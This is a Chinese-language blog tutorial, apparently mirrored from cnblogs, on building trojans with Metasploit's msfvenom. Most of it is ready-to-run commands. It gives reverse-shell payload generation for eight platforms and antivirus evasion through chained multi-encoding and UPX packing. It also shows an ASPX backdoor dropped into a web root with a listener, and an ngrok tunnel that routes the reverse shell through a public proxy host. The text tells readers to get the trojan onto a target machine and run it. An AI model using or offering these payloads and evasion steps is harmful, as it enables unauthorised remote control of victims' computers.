zoukankan      html  css  js  c++  java
  • 9.利用msfvenom生成木马

    这篇文章来介绍一下msf中一个生成木马的msfvenom模块。

    msfvenom命令行选项如下:

    英文原版:

    中文版:

    Options:    
    -p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&#039;-&#039;或者stdin指定
    -l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
    -n, --nopsled <length> 为payload预先指定一个NOP滑动长度
    -f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
    -e, --encoder [encoder] 指定需要使用的encoder(编码器)
    -a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64位
    -platform <platform> 指定payload的目标平台
    -s, --space <length> 设定有效攻击荷载的最大长度
    -b, --bad-chars <list> 设定规避字符集,比如: &#039;x00xff&#039;
    -i, --iterations <count> 指定payload的编码次数
    -c, --add-code <path> 指定一个附加的win32 shellcode文件
    -x, --template <path> 指定一个自定义的可执行文件作为模板
    -k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
    --payload-options 列举payload的标准选项
    -o, --out <path> 保存payload
    -v, --var-name <name> 指定一个自定义的变量,以确定输出格式
    --shellest 最小化生成payload
    -h, --help 查看帮助选项
    --help-formats 查看msf支持的输出格式列表

    这里举出一些利用msfvenom生成shell的命令:

    Linux:

    msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

    Windows:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

    PHP:

    msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
    cat shell.php | pbcopy && echo '<?php ' | tr -d '
    ' > shell.php && pbpaste >> shell.php

    ASP:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

    JSP:

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

    Python:

    msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

    Bash:

    msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

    Perl:

    msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

    以上是基本的生成后门木马,只要想方设法放到目标机器上,并运行。在本地监听端口即可,但是你需要有一个公网的ip

    下面来探究一下如何免杀:

    1.可以尝试多重编码:

    msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -e x86/shikata_ga_nai -i 20 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -x calc.exe -f exe -o shell.exe

    这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以calc.exe为模板的可执行文件。

    2.对上述生成的木马进行upx加壳

    upx shell.exe

    不过现在的杀毒软件越来越nb,一般免杀也已经不好过...

    于12.23日更新:

    推荐一本书<<Web 安全攻防(渗透测试实战指南)>>上面介绍了Aspx Meterpreter 后门:

    主要介绍的是Metasploit下名为shell_reverse_tcp的Payload,利用这个模块可以创建具有Meterpreter功能的各版本的Shellcode,例如比较常见的Asp,Aspx,msi,vbs,war等等

    下面以Aspx为例:

    show payloads
    use windows/shell_reverse_tcp
    info
    set lhost 192.168.0.133
    set lport 4444
    save

    接着输入generate -h 查看帮助:

    各版本ShellCode的命令如下:

    generate -t asp   //生成Asp版的ShellCode
    generate -t aspx    //生成Aspx版的ShellCode

    把生成的木马放在c:/inetpub/wwwroot下,访问。同时在msf中设置监听:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.0.133
    set lport 4444
    run

    ----------------------------------------------

     2019.10.15补充:

    parrot使用ngrok+msfvenom穿透反弹shell

    攻击机parrot ip:192.168.127.131

    目标机器windows ip :192.168.43.27

    首先两台机器不在一个网端,自然是无法ping通:

    这里模仿目标机器在公网

    攻击机器在内网,攻击机器怎样通过ngrok代理来接受弹回来的shell

    1.在ngrok官网注册账号,并开通免费账号

    官网地址:http://www.ngrok.cc

    创建成功后:

    2.下载ngrok客户端

    https://www.ngrok.cc/download.html

    我这里使用的是parrot。所以选择linux版本

    文件解压后得到:sunny

    3.启动sunny,开启转发

    ./sunny clientid 隧道id

    4.配置木马来反弹shell

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=14001 -f exe -o ./test.exe

    其中LHOST,LPORT均为ngrok代理服务器地址与端口

    5.攻击机本地msf监听

    use exploit/multi/handle
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.127.131
    set lport 9876
    run

    6.目标机器执行木马

     可以看到,shell已经反弹成功

    参考链接:

    https://blog.csdn.net/wyf12138/article/details/79825833

    https://www.offensive-security.com/metasploit-unleashed/msfvenom/

  • 相关阅读:
    JWT在flask中的demo
    14.Android开发笔记:碎片(Fragment)
    13.Android开发笔记:界面开发最佳实践
    12.Android开发笔记:RecyclerView
    11.Android开发笔记:ListView
    10.Android开发笔记:布局控件(五) 自定义控件
    9.Android开发笔记:布局控件(四) 百分比布局
    8.Android开发笔记:布局控件(三)FrameLayout 帧布局
    7.Android开发笔记:布局控件(二)RelativeLayout 相对布局
    6.Android开发笔记:布局控件(一)LinearLayout 线性布局
  • 原文地址:https://www.cnblogs.com/bmjoker/p/10051014.html
Copyright © 2011-2022 走看看